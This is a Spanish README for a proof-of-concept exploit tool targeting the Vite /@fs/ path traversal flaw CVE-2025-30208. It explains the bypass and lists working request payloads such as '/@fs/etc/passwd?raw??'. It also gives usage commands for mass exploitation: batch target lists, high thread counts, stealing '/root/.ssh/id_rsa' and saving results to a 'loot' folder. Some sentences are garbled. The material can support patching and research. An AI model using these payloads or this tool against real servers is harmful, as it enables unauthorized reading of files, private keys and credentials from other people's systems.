
Un PoC del script de exploit para la vulnerabilidad de lectura arbitraria de archivos de Vite /@fs/ Path Traversal en el transformMiddleware (CVE-2025-30208).
A PoC del script de explotación para la vulnerabilidad de Lectura Arbitraria de Archivos de Vite /@fs/ Path Traversal en transformMiddleware (CVE-2025-30208). Se puede consultar el análisis detallado en este post.
Vulnerable en versiones anteriores a:
Vite es un popular proyecto de código abierto que se puede obtener desde Github y su sitio web oficial. Utiliza un prefijo especial, @fs, para permitir el acceso directo a rutas de archivo absolutas en modo de desarrollo:
GET /@fs/<absolute/path/to/file>
Pero para prevenir abusos, Vite limita lo que se puede acceder a través de @fs usando una configuración como:
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}
Así que, en teoría, los archivos fuera del directorio permitido (como /etc/passwd) deberían ser bloqueados — incluso si alguien intenta usar trucos como ../../../.
Sin embargo, el fallo radica en cómo Vite analiza y verifica las URLs (a través del middleware/función transformMiddleware). El middleware/función utiliza ensureServingAccess(url, ...) para verificar si se permitió una solicitud de archivo a través de /@fs/.
Sin embargo, un atacante podría elaborar una solicitud con separadores de consulta al final en la URL como:
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??
Estas formas evitarían los filtros de expresiones regulares (rawRE, urlRE) y las comprobaciones de seguridad debido a que la cadena de consulta malformada aún coincide con la lógica de la ruta. Lo que sucede:
/@fs/../../../etc/passwdraw?? (malformada a propósito)?, y lo hace antes de verificar si la ruta del archivo está permitida.Esto significa:
server.fs.allow./etc/passwd, si existe.python3 poc.py [OPTIONS]
| Bandera / Opción | Descripción |
|---|---|
-u, --url | URL de un solo objetivo (ej. example.com:5173) |
-f, --file | Archivo con lista de objetivos (una URL por línea) |
-p, --path | Ruta del sistema de archivos a leer (por defecto: /etc/passwd) |
-b, --bypass | Cadena de consulta para omitir la validación de ruta (por defecto: ?raw??) |
--proxy | URL del proxy (ej. http://127.0.0.1:8080) |
-o, --output | Directorio de salida para guardar los resultados de explotación (por defecto: results) |
-t, --threads | Número de hilos para el modo por lotes (por defecto: 10) |
-h, --help | Mostrar mensaje de ayuda y salir |
Explotación de un solo objetivo:
python3 cve-2025-30208.py -u example.com:5173
Explotación de un solo objetivo con ruta LFI personalizada para filtrar el archivo deseado:
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
Explotación por lotes con múltiples objetivos:
python3 cve-2025-30208.py -f targets.txt
Consulta de omisión personalizada:
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
Usando un proxy (ej. Burp Suite):
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
Directorio de salida personalizado:
python3 cve-2025-30208.py -u example.com:5173 -o ./loot
Aumentar el número de hilos en modo por lotes:
python3 cve-2025-30208.py -f targets.txt -t 50